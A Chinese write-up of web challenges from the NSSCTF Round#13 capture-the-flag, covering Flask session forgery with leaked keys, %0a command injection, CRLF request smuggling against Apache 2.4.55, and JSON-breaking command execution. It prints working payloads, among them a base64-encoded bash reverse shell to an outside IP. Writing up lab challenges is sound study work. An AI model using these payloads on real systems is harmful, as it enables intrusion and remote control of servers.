NSSCTFRound#13 Web
一点感叹
最近很烦,比赛很简单的题也做不出来天天爆0,估计是基础没打牢吧,重新回去刷基础题
flask?jwt?
注册账号发现admin已经存在,然后随便注册一个账号发现admin才能getFlag,就是伪造session了
在忘记密码发送邮件那里抓包找到key
然后就是伪造session了
1 | python flask_session_cookie_manager3.py decode -s th3f1askisfunny -c "session" |
然后用这个session去getFlag即可
ez_factors
点击Tool发现将114514分解了,使用%0a
截断将前面的命令截断后面拼接要执行的命令
1 | cat /etc/passwd |
这里/
也要进行url编码,不然会被当做文件目录,执行成功,但是cat /flag
出现一堆数字读出来不好读直接反弹shell
1 | http://node5.anna.nssctf.cn:28718/factors/114514%0aecho YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNDMuOTkuMTYwLzY2NjYgMD4mMQ==|base64 -d|bash |
信息收集
抓个包发现有个Apache/2.4.55web服务器,这个版本有个CVE,参考CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用 - 先知社区 (aliyun.com)
然后我们读取index.php发现存在任意文件读取
1 |
|
然后读取/usr/local/apache2/conf/httpd.conf
这里对/nssctf/
做了个代理转发,猜测在转发后的机器上,利用crlf漏洞去读取flag,这个payload相当于去请求转发后的机器上的文件
1 | /nssctf/0%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/flag.txt |
MyWeb
1 |
|
复现环境出了问题,其实这个题就是把原来的数据给闭合掉就能命令执行了,猜测它储存的json数据格式为[1,2,3,……]
1 | ?mode=save&value=];%0aecho cat /flag;%0a[ |
方式不止这一个因为环境问题也没去一个个验证了
flask?jwt?(hard)
登录后源码中给了一个/wor路由,访问发现没啥东西,然后把session随便删除点东西页面报错,开启了debug在源码中找到key hardgam3_C0u1d_u_f1ndM3????'
接下来就和前面一样伪造session就行了
1 | python flask_session_cookie_manager3.py decode -s hardgam3_C0u1d_u_f1ndM3???? -c "session" |
TimeTrcer
0解题,看了wp有点难,不想复现了
wp:https://gtg.ink/2023/06/NSSCTFround13WP-TimeTrcer/
参考:
NSSCTF Round#13 web专项 - F12~ - 博客园 (cnblogs.com)
NSSCTFRound#13 Web · ph0ebus’s Blog